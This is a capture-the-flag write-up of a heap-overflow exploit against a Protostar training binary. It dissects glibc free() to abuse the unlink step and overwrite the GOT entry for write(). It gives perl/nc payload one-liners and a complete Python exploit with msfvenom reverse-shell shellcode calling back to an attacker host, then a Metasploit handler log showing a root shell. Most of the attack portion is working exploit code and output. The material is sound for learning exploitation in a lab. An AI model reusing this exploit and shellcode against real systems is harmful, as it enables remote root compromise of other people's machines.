0x804a9cf <free+13>: cmp DWORD PTR [ebp+0x8],0x0
0x804a9d3 <free+17>: je 0x804ac27 <free+613>
First, check for a NULL pointer and immediatly return.
0x804a9d9 <free+23>: mov eax,DWORD PTR [ebp+0x8]
0x804a9dc <free+26>: sub eax,0x8
0x804a9df <free+29>: mov DWORD PTR [ebp-0x34],eax
Store the start of the current chunk in a local variable.
0x804aa37 <free+117>: mov eax,DWORD PTR [ebp-0x34] ; start of chunk
0x804aa3a <free+120>: mov eax,DWORD PTR [eax+0x4] ; size of chunk
0x804aa3d <free+123>: and eax,0x2
0x804aa40 <free+126>: test eax,eax
0x804aa42 <free+128>: jne 0x804abca <free+520>
Here the IS_MMAPPED flag is check.
0x804aa54 <free+146>: mov eax,DWORD PTR [ebp-0x28] ; start of next chunk
0x804aa57 <free+149>: mov eax,DWORD PTR [eax+0x4] ; size of chunk
0x804aa5a <free+152>: and eax,0xfffffffc ; mask out flags from size
0x804aa5d <free+155>: mov DWORD PTR [ebp-0x24],eax
This piece of code stores the size of the next chunk on the stack.
0x804aa60 <free+158>: mov eax,DWORD PTR [ebp-0x34] ; start of chunk
0x804aa63 <free+161>: mov eax,DWORD PTR [eax+0x4] ; size of chunk
0x804aa66 <free+164>: and eax,0x1
0x804aa69 <free+167>: test eax,eax
0x804aa6b <free+169>: jne 0x804aaa7 <free+229>
Next the PREV_INUSE is checked.
0x804aaaa <free+232>: mov eax,DWORD PTR [eax+0x2c]
0x804aaad <free+235>: cmp eax,DWORD PTR [ebp-0x28] ; start of next chunk
0x804aab0 <free+238>: je 0x804ab54 <free+402>
Dunno, probably verifies the calculated start of next chunk.
0x804aab6 <free+244>: mov eax,DWORD PTR [ebp-0x24] ; size of next chunk
0x804aab9 <free+247>: mov edx,DWORD PTR [ebp-0x28] ; start of next chunk
0x804aabc <free+250>: lea eax,[edx+eax*1] ; next_next chunk
0x804aabf <free+253>: mov eax,DWORD PTR [eax+0x4] ; size of next_next chunk
0x804aac2 <free+256>: and eax,0x1
0x804aac5 <free+259>: mov DWORD PTR [ebp-0x20],eax
...
0x804aad1 <free+271>: cmp DWORD PTR [ebp-0x20],0x0
0x804aad5 <free+275>: jne 0x804ab01 <free+319>
Here the PREV_INUSE flag of the next_next chunk is checked. Afterwards the FD and BK pointers of the next chunk are written to their counterparts.
0x804aad7 <free+277>: mov eax,DWORD PTR [ebp-0x28] ; start of next chunk
0x804aada <free+280>: mov eax,DWORD PTR [eax+0x8] ; FD of next chunk
0x804aadd <free+283>: mov DWORD PTR [ebp-0x14],eax
0x804aae0 <free+286>: mov eax,DWORD PTR [ebp-0x28] ; start of next chunk
0x804aae3 <free+289>: mov eax,DWORD PTR [eax+0xc] ; BK of next chunk
0x804aae6 <free+292>: mov DWORD PTR [ebp-0x18],eax
0x804aae9 <free+295>: mov eax,DWORD PTR [ebp-0x14] ; FD of next chunk
0x804aaec <free+298>: mov edx,DWORD PTR [ebp-0x18] ; BK of next chunk
0x804aaef <free+301>: mov DWORD PTR [eax+0xc],edx
0x804aaf2 <free+304>: mov eax,DWORD PTR [ebp-0x18] ; BK of next chunk
0x804aaf5 <free+307>: mov edx,DWORD PTR [ebp-0x14] ; FD of next chunk
0x804aaf8 <free+310>: mov DWORD PTR [eax+0x8],edx
If we can execute this code path, we can overwrite a pointer in e.g. the GOT. In order to do this, the next_next chunk must have a PREV_INUSE flag of zero.
In this example we control the next chunk header. We only need to introduce a next_next chunk with above mentioned flag set. With a negative size for the next chunk we avoid null bytes and can create a virtual chunk in the first part of the input.
Let’s test the approach with the following code. Let’s just try with the payload from Heap3.
#perl -e 'print("FSRD"."A"x123 ."/"."FSRDROOT"."B"x103 ."/\xFC\xFF\xFF\xFF\xFC\xFF\xFF\xFFCCCCDDDD")' | nc 192.168.1.6 2993
With this input we expect a segmentation fault when the second chunk is free()d. Let’s see what gdb says.
--------------------------------------------------------------------------[regs]
EAX: 0x43434343 EBX: 0xB7FD7FF4 ECX: 0x0804C2D6 EDX: 0x44444444 o d I t s Z a P c
ESI: 0x00000000 EDI: 0x00000000 EBP: 0xBFFFF248 ESP: 0xBFFFF200 EIP: 0x0804AAEF
CS: 0073 DS: 007B ES: 007B FS: 0000 GS: 0033 SS: 007B
--------------------------------------------------------------------------[code]
0x804aaef <free+301>: mov DWORD PTR [eax+0xc],edx
0x804aaf2 <free+304>: mov eax,DWORD PTR [ebp-0x18]
0x804aaf5 <free+307>: mov edx,DWORD PTR [ebp-0x14]
0x804aaf8 <free+310>: mov DWORD PTR [eax+0x8],edx
0x804aafb <free+313>: mov eax,DWORD PTR [ebp-0x24]
0x804aafe <free+316>: add DWORD PTR [ebp-0x30],eax
0x804ab01 <free+319>: mov eax,DWORD PTR [ebp-0x38]
0x804ab04 <free+322>: add eax,0x34
--------------------------------------------------------------------------------
Great! So we need to figure out what pointers to overwrite. A write() call is executed just before the free(). We can overwrite the GOT with our address.
gdb$ x/3i 0x8048dfc
0x8048dfc <write@plt>: jmp DWORD PTR ds:0x804d41c
0x8048e02 <write@plt+6>: push 0x68
0x8048e07 <write@plt+11>: jmp 0x8048d1c
gdb$ x/x 0x804d41c
0x804d41c <_GLOBAL_OFFSET_TABLE_+64>: 0xb7f53c70
For best results, we can utilize a third chunk as our target buffer. Just append some more bytes to the input command. The respective heap address is as follows.
gdb$ disas chex/34x 0x0804E118-8
0x804e110: 0x00000000 0x00000089 0x44525346 0xcccccccc
0x804e120: 0xcccccccc 0xcccccccc 0x0804d410 0xcccccccc
0x804e130: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc
0x804e140: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc
0x804e150: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc
0x804e160: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc
0x804e170: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc
0x804e180: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc
0x804e190: 0xcccccccc 0x00cccccc
We update the BK pointer in our command to direct the execution into chunk three.
#perl -e 'print("FSRD"."A"x108 ."\xF0\xFF\xFF\xFF"."\xFC\xFF\xFF\xFF"."EEEE"."FFF" ."/"."FSRDROOT"."B"x103 ."/\xFC\xFF\xFF\xFF\xF0\xFF\xFF\xFF"."\x10\xD4\x04\x08"."\x20\xE1\x04\x08". "FSRD"."\xCC"x128)' | nc 192.168.1.6 299
And with this command the execution hopefully stops with a SIGTRAP instruction.
Program received signal SIGTRAP, Trace/breakpoint trap.
--------------------------------------------------------------------------[regs]
EAX: 0x00000004 EBX: 0xB7FD7FF4 ECX: 0x0804C2D6 EDX: 0x0804E078 o d I t S z A p C
ESI: 0x00000000 EDI: 0x00000000 EBP: 0xBFFFF678 ESP: 0xBFFFF24C EIP: 0x0804E121
CS: 0073 DS: 007B ES: 007B FS: 0000 GS: 0033 SS: 007B
--------------------------------------------------------------------------[code]
0x804e121: int3
0x804e122: int3
0x804e123: int3
--------------------------------------------------------------------------------
0x0804e121 in ?? ()
Next, we need to introduce a jmp over BK+8 where the pointer to 0x0804d410 will be written.
perl -e 'print("FSRD"."A"x108 ."\xF0\xFF\xFF\xFF"."\xFC\xFF\xFF\xFF"."EEEE"."FFF" ."/"."FSRDROOT"."B"x103 ."/\xFC\xFF\xFF\xFF\xF0\xFF\xFF\xFF"."\x10\xD4\x04\x08"."\x20\xE1\x04\x08". "FSRD"."\x90"x10 ."\xEB\x04"."XXXX"."\x90"x100 ."\xCC")' | nc 192.168.1.6 2993
And finally, we place a shellcode in the chunk3. The reverse shell from the last example fits fine into the third junk.
1#!/usr/bin/python
2# -*- coding: utf-8 -*-
3
4import socket
5import struct
6import sys
7
8#TARGET
9target_ip = "192.168.1.6"
10target_port = 2993
11
12#target addre#$ msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.1.2 LPORT=4444 -f python -e x86/shikata_ga_nai
13shellcode = "\x90"
14shellcode += "\xba\xe7\x96\xde\xe9\xda\xce\xd9\x74\x24\xf4\x5b\x2b"
15shellcode += "\xc9\xb1\x12\x31\x53\x12\x83\xc3\x04\x03\xb4\x98\x3c"
16shellcode += "\x1c\x0b\x7e\x37\x3c\x38\xc3\xeb\xa9\xbc\x4a\xea\x9e"
17shellcode += "\xa6\x81\x6d\x4d\x7f\xaa\x51\xbf\xff\x83\xd4\xc6\x97"
18shellcode += "\xd3\x8f\x38\x65\xbc\xcd\x3a\x78\x60\x5b\xdb\xca\xfe"
19shellcode += "\x0b\x4d\x79\x4c\xa8\xe4\x9c\x7f\x2f\xa4\x36\xaf\x1f"
20shellcode += "\x3a\xae\xc7\x70\xde\x47\x76\x06\xfd\xc5\xd5\x91\xe3"
21shellcode += "\x59\xd2\x6c\x63"
22
23vchunk = "\xF0\xFF\xFF\xFF"
24vchunk += "\xFC\xFF\xFF\xFF"
25vchunk += "BBBB" #FD
26vchunk += "CCC" #BK (for alignment on byte short)
27
28payload1 = "FSRD"
29payload1 += "A"*(128-len(payload1)-1-len(vchunk))
30payload1 += vchunk
31payload1 += "/"
32
33FD = 0x804D41C #write()
34BK = 0x804E120 #write()
35chunk = "\xFC\xFF\xFF\xFF"
36chunk += "\xF0\xFF\xFF\xFF"
37chunk += struct.pack("<I",FD-0xc) #FD -0xc in free
38chunk += struct.pack("<I",BK) #BK
39
40payload2 = "FSRD"
41payload2 += "ROOT"
42payload2 += "B"*(128-len(chunk)-len(payload2)-1)
43payload2 += "/"
44payload2 += chunk
45
46payload3 = "\x90"*14
47payload3 += "\xEB\x04" #JMP 4
48payload3 += "XXXX" #FD will be written to this location
49print(128-len(payload3)-1)
50print(len(shellcode))
51payload3 += shellcode
52payload3 += "\x90"*(128-len(payload3)-1)
53payload3 += "\xcc"
54
55
56if len(shellcode) > 128:
57 print("Exploit code too large")
58 exit()
59
60sock = socket.socket( socket.AF_INET, socket.SOCK_STREAM )
61sock.connect((target_ip,target_port))
62if sock:
63 print(len(payload1))
64 sock.sendall(payload1)
65 print(len(payload2))
66 sock.sendall(payload2)
67 print(len(payload3))
68 sock.sendall(payload3)
Now we only have to wait for a reverse connection.
$ msfcli exploit/multi/handler payload=linux/x86/shell_reverse_tcp lport=4444 E
[*] Initializing modules...
payload => linux/x86/shell_reverse_tcp
lport => 4444
[*] Started reverse handler on 0.0.0.0:4444
[*] Starting the payload handler...
[*] Command shell session 1 opened (192.168.1.2:4444 -> 192.168.1.6:49839) at 2015-07-04 11:15:03 +0200
whoami
root
python -c 'import pty; pty.spawn("/bin/sh")'
# pwd
pwd
/
Finally, a big thanks to the creators of the protostar exploit exercises. The challenges present quite a steep learning curve. A great curse to try harder each exercise.